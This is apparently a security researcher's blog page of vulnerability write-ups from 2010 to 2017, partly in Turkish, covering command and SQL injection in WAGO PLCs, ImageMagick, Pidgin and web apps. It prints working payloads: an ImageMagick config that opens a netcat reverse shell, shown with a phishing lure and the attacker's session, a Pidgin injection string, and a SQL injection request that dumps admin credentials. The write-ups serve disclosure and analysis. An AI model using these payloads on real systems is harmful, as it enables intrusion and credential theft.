Showing posts with label vulnerability. Show all posts
Showing posts with label vulnerability. Show all posts

Tuesday, August 1, 2017

Silently Fixed Unauthorized Command Injection in WAGO PLC Ethernet

It's been almost 4 years I didn't blogged anything on anywhere (shame).

Anyway, recently found Unauthorized Command Injection vulnerability in WAGO PLC's web-based management software. Affected device is here (WAGO 750-8202 PFC200 CS 2ETH RS).

P.S: This is not related with CVE-2016-9362.

You would need following tools if you would like to analyze vulnerability by yourself;
  • Burp Suite 
  • A Web Browser 
  • Binwalk 
  • Code Editor (My fav is Sublime Text, it's so lightweight and have good themes) 
If you fire up your MITM proxy (Burp Suite is my choice) and visit web application, eventually you will notice that application do lots of XML HTTP Requests and one of requested URL is /wbm/configtools.php. That endpoint executes some OS commands and shares output with the web application (I know 90's wants it's vulnerabilities back).

While playing with JSON payload sent to configtools.php endpoint, find out that it's possible to inject OS commands into "parameter" JSON value. Injected commands such as uname -a and id.



Results of executed commands.


Bingo! Easy and quick win against a dummy device web-based management software.

To confirm that critical vulnerability in latest version of firmware, simply downloaded the latest firmware from WAGO's web site, extracted it with binwalk (thanks authors of binwalk) and start to review source code.




In the source code, CallConfigtoolByJson function called to JSON request from browser which later call CallConfigtool function to process "parameter" value in JSON payload.



OK, commments and code fixes show that they found it internally (maybe?) and fixed it silently. Requested old firmwares but they didn't send me yet :)

Saturday, May 11, 2013

MS12-076 Excel SerAuxErrBar Heap Overflow Vulnerability

There was a Heap Overflow vulnerability (CVE-2012-1885) in Excel while parsing SerAuxErrBar structure from xls (Excel's old binary format) files. So I decided to took on it (a little bit analysis). But I faced with reality that there is no public debugging symbols for Excel :( When I read advisory [1] I don't understand anything as always 'cause Microsoft only says "A remote code execution vulnerability exists in the way that Microsoft Excel handles specially crafted Excel files. An attacker who successfully exploited this vulnerability could take..". That's shit description :( Then I look for SerAuxErrBar structure and found something on MSDN that describes this structure [2]. But there was another question. "How one could create SerAuxErrBar structure?".

Monday, July 9, 2012

IE Col Element Heap Overflow Vulnerability (CVE-2012-1876) PoC

IE Col Element Heap Overflow Vulnerability (CVE-2012-1876) PoC 
write up soon..
UPDATE: VUPEN (author of this vulnerability) released detailed blog post about this vulnerability.

Friday, February 24, 2012

Java Web Start Cmd Arg Injection

ZDI(ZDI-12-039)[1] tarafından bildirilen ve Oracle Şubat CPU ile Java Web Start'ı etkileyen bir zafiyet yamalandı. Zafiyet kısaca daha önce bir benzerini[2] gördüğümüz türden komut satırı argumanlarina mudahele edebiliyoruz. İlgili zafiyetin PoC kodunu yazmak icin ilk olarak JRE 1.6 u30 versiyonunu sisteme kurdum. javaws.exe'nin bir yedegini aldim ve JRE'yi guncelledim. javaws.exe versiyonu 6.0.300.12, guncellenmis versiyon ise 6.0.310.5. Hemen bir patch diff islemi uyguladim. Patch diff islemi icin onceden PatchDiff2 ve Turbodiff gibi yazilimlardan yararlaniyordum fakat DarunGrim3'e bir sans verdim, inanilmaz derecede sureci kolaylastirmis ve hizlandirmis, kullanmak isteyenlere tavsiye ederim. Ayrıca gozu bozmayan, "hacker dostu" bir web arayuzude var :> www.darungrim.org adresinden indirebilirsiniz. Neyse analize gecelim..

Thursday, February 16, 2012

MS11-100 - ASP.NET Forms Auth. Bypass - Revenge of the 0x00

Microsoft MS11-100 güncellemesi ile geçen ay sonlarına doğru meşhur HashTable Collision DoS (CVE-2011-3414), .NET Forms Authentication Bypass (CVE-2011-3416) v.b. .NET platformunu etkileyen güvenlik açıklarını kapattı. Bu blog girdisinde ele alacağım zafiyet ise .NET Forms Authentication Bypass (Revenge of the NULL Byte).

Thursday, December 30, 2010

Funny ImageMagic CMD Injection

Sometimes i don't read vendors vulnerability reports, because they are so boring and don't give technical information about vulnerability. Last day, i read Ubuntu Security Notice's vulnerability report and it seemed interesting. Firstly, i read description section, it says;
"It was discovered that ImageMagick would search for configuration files in
the current directory. If a user were tricked into opening or processing an
image in an arbitrary directory, a local attacker could execute arbitrary
code with the user's privileges." [1]

After that i search for CVE ID of vulnerability "CVE-2010-4167". If i don't find anything i will be review diff files. But debian bug tracking pages help me. [2]
I always belive that, bug tracking systems always very usefull for finding security bugs/developing exploits.

The opened issue was true, when you create config files and run imagemagic, imagemagic looks current directory for config files, so if you can able to create malicious config file or your target run "convert" binary with your malicious config file, you can execute commands with current user privileges.

We create malicious xml config files, they are execute commands on currents users context. In example, i execute netcat for getting a reverse shell -) I send mail them to my victim;
"Hello dear, i need to convert my png file to jpg and i can't access my computer now, can you do it for me? I attached the png file.."

If my victim open it (for this case he will open :P ) my arbitrary codes will be executed on system.

Victim:
[victim@vmware:~/img]$ unzip please_convert.zip
... snipped ...
[victim@vmware:~/img]$ convert x.png a.jpg
convert: unable to open image `/tmp/magick-XXFJtZIk': No such file or directory @ blob.c/OpenBlob/2480.
convert: unable to open file `/tmp/magick-XXFJtZIk': No such file or directory @ constitute.c/ReadImage/569.
convert: missing an image filename `a.jpg' @ convert.c/ConvertImageCommand/2838.


Attacker:
[cb@lab:~/imagemagic-Xploi7]$ nc.traditional -lvvp 1337
listening on [any] 1337 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 37267
ls
coder.xml
delegates.xml
sshoos
xploit.txt
x.png
echo "owned :P"
owned :P
exit
 sent 24, rcvd 57



Here is the example delegate.xml file:
<delegatemap>
<delegate decode='png' command="nc.traditional -e /bin/sh 127.0.0.1 1337"/>
</delegatemap>

and here is the example coder.xml file:
<codermap>
<coder magick='png' name='notpng'/>
</codermap>


Note: delegate.xml file needs coder.xml for executing by imagemagic.

References:
[1] - http://www.ubuntu.com/usn/usn-1028-1
[2] - http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=601824

Monday, September 13, 2010

Funny Command Injection in Pidgin

Today @_ikki tweet about this funny "fail" bug.Pidgins knotify plugin have remote command injection vulnerability. When you type some commands to your victim its executed with current users local priveliges. Its funny!! :>

--[src/pidgin-knotify.c:71-74]--
command = g_strdup_printf("kdialog --title '%s' --passivepopup '%s' %d", title,
body, timeout);
[...]
result = system(command);
--snip--


Exploitation:
Type your friend who use knotifies old version --> ';COMMAND;'

Reference:
https://bugs.gentoo.org/show_bug.cgi?id=336916

Friday, August 27, 2010

php 5.3.3 ibase_gen_id() off-by-one

Selamlar günlük. Gönül isterdiki şok bir gelişme ile giriş yapayım :) Var aslında gelişmeler ama şuan için belirginleşmeden birşeyler yazmayayım. php ibase_gen_id fonksiyonunda off-by-one zafiyeti raporlamıştım. Ona kısaca değineyim istedim buradan hemde günlük boş boş durmasın ara sıra yazmak lazım :> Verdiğim PoC yerelde bir taşma yapıyor, eğer bir uygulama kullanıyorsa ve girilen parametre kullanıcı kontrollü ise uzaktan da exploit edilebilir. En ilginç geleni ise arka planda fonksiyonda Firebird/Interbase SQL sorgusu çalıştırılıyor ve kullanıcı buna müdahele ediyor. Firebird/Interbase SQL sorguları ile komut çalıştırmaya izin veriyorsa kod çalıştırmakta mümkün olabilir yada open basedir, safe mode çalıştırılan SQL sorguları ile aşılabilir. Vakit bulunca bu konuyada yoğunlaşıcam. Patch olarak aşağıdaki gibi birşey uygulanabilir.

--- [1] snprintf(query, sizeof(query), "SELECT GEN_ID(%s,%ld) FROM rdb$database", generator, inc);
+++ [2] snprintf(query, sizeof(query) - 1, "SELECT GEN_ID(%s,%ld) FROM rdb$database", generator, inc);

Advisory
http://www.exploit-db.com/exploits/14678/

PoC
http://www.exploit-db.com/sploits/ibase_gen_id_poc.zip

Thursday, July 22, 2010

[Analiz] Yet Another Remote Command Execution

Yine bir Remote Command Execution analizi ile karşındayım blog :) Code Injection yada RCE olarak sınıflandırabilirim sanırım bu zafiyeti. Herneyse kaynak kodu incelemeye başlayayım.


xxxxxxxxxxxx.php
...
$command = 'HTTP_COOKIE="'.getStringFromServer('HTTP_COOKIE').'" '.
'REMOTE_ADDR="'.getStringFromServer('REMOTE_ADDR').'" '.
'QUERY_STRING="'.$query_string.'" '.
'SERVER_SOFTWARE="'.getStringFromServer('SERVER_SOFTWARE').'" '.
'SCRIPT_NAME="'.getStringFromServer('SCRIPT_NAME').'" '.
'HTTP_USER_AGENT="'.getStringFromServer('HTTP_USER_AGENT').'" '.
'HTTP_ACCEPT_ENCODING="'.getStringFromServer('HTTP_ACCEPT_ENCODING').'" '.
'HTTP_ACCEPT_LANGUAGE="'.getStringFromServer('HTTP_ACCEPT_LANGUAGE').'" '.
'PATH_INFO="'.$path.'" '.
'PATH="'.getStringFromServer('PATH').'" '.
'HTTP_HOST="'.getStringFromServer('HTTP_HOST').'" '.
'DOCUMENT_ROOT="'.getStringFromServer('DOCUMENT_ROOT').'" '.
...
passthru($command);
...


getStringFromServer fonksiyonunda herhangi gibi bir filtreleme vs.. yok. Daha da konuşmaya gerek yok zaten :) HTTP başlıklarıyla (örn: Cookie, User-Agent, Accept-Encoding, Accept-Language) hedef üzerinde komut çalıştırabilirsiniz. Exploit? 1-2 güne bir reverse shell hortlatan bir remote exploit yazar yayınlarım herhalde. Az da olsa deneyimlerimden yola çıkarak belirtiyorum ki, web uygulamalarını ve zafiyetlerini hafife almamak gerekir.

cb

Saturday, July 17, 2010

[Analiz] Remote Command Execution

Selamlar günlük,
Yayınlanan advisory [1] için kısa bir analiz yapayım dedim iyide ettim herhalde çok sık yazamıyorum malum vakit ayıramıyorum yada üşeniyorum :) neyse az laf çok iş diyerekten girişiyorum analize çok konuştum yine :]

modules/gnupg/json.php:
...
$data = $gnupg->export($_REQUEST['fingerprint']);
...


Görüldüğü üzere export methodu parametre olarak 'fingerprint' isimli HTTP isteğiyle birlikte çağırılıyor. Birde export methoduna göz atalım. Açıkca söyleyeyim bu zafiyeti bulmam 4 yada 5 dakika mı aldı tabi yayınlamak daha uzun sürdü, biraz üşengeçlik biraz vendor'u bekleme vs... gerçi vendor geri dönmedi o da ayrı bir meselede :))

Thursday, July 8, 2010

[Analiz] WikiWebHelp SQLi Vuln

Selamlar blogum ve varsa eğer okuyucularım :] geçen gün ki advisory'nin basit bir analizini yapayım dedim hemde blog boş durmasın :)) getpage.php dosyasında id parametresi olduğu gibi SQL koduna dahil ediliyor herşey bundan ibaret :))

handlers/getpage.php
---[snip]---
4 if($page==null) $page = $_GET['id'];
5
6 $sql = "SELECT * FROM page INNER JOIN node ON node.node_id=page.node_id WHERE node.node_id=$page";
---[snip]---


# PoC:
Request: http://server/handlers/getpage.php?id=9999999+UNION+SELECT+1,CONCAT_WS(0x3a,user_name,password),3,4,5,6,7
+FROM+user+LIMIT+1

Response: admin:21232f297a57a5a743894a0e4a801fc3

Daha "hardcoded" exploit'ler ve vulnerability'ler bulurumda buraya yazarım umarım :}

ciao..

Monday, July 5, 2010

[Analiz] Simple:Press WP Plugin SQL Inj.

Advisory'e buradan [1] ulaşabilirsiniz.
sf-header-forum.php
---[snip]---
...
389 if(isset($_GET['value']) ? $sfvars['searchvalue'] = stripslashes(urldecode($_GET['value'])) : $sfvars['searchvalue'] = '');
...
---[snip]---

Global değişkenler kullanılmış ve ataması yapılırken $sfvars['searchvalue'] değeri kontrol edilmeden atanmış. Daha sonra bu global değişken birazdan göstereceğim şekilde sql sorgularının içinde kullanılmış. ve öldürücü nokta; "no single qoutes" :)

Global değişkenler kullanmak aslında riskli bir durum. Çünkü örnekteki gibi biryerde atamasını yaptığınız zaman kullanırken nerde ne ataması yaptığınızı unutup kullanabiliyorsunuz. Bu tamamen güvenlikte insan faktörüyle ilgili birşey. İnsan unutabilir, insan kusursuz değil.

sf-database.php
---[snip]---
...
401 $searchvalue=urldecode($sfvars['searchvalue']);
...
404 if($sfvars['searchtype'] == 6)
...
409 $ANDWHERE = " AND topic_status_flag=".$sfvars['searchvalue']." ";
410
411 } elseif($sfvars['searchtype'] == 8)
...
414 $userid = $sfvars['searchvalue'];
415 $SELECT = "SELECT SQL_CALC_FOUND_ROWS DISTINCT ";
416 $MATCH = "";
417 $ANDWHERE = " AND ".SFPOSTS.".user_id=".$userid." ";
418
419 } elseif($sfvars['searchtype'] == 9)
...
422 $userid = $sfvars['searchvalue'];
...
425 $ANDWHERE = " AND ".SFTOPICS.".user_id=".$userid." ";
...
---[snip]---

Görüldüğü gibi kalın olarak işaretlenmiş satırlarda değişkenler tek tırnak kullanılmadan sorgulara dahil edilmiş buda zafiyetin ortaya çıkmasına sebep oluyor. Vendor istediği kadar tüm GET, POST vs.. dizilerini filterelesin, tek tırnak faktörü olmadığı zaman hiçbir işe yaramıyor bu çabalar :) benzer bir webERP advisory'sinde de vardı ve vendor ısrarla tüm GET, POST dizilerini filtrelediğini ısrar ediyordu. Noldu? Video çektik yolladık başarıyla exploit ettik hehe :)

[1] http://www.exploit-db.com/exploits/14198/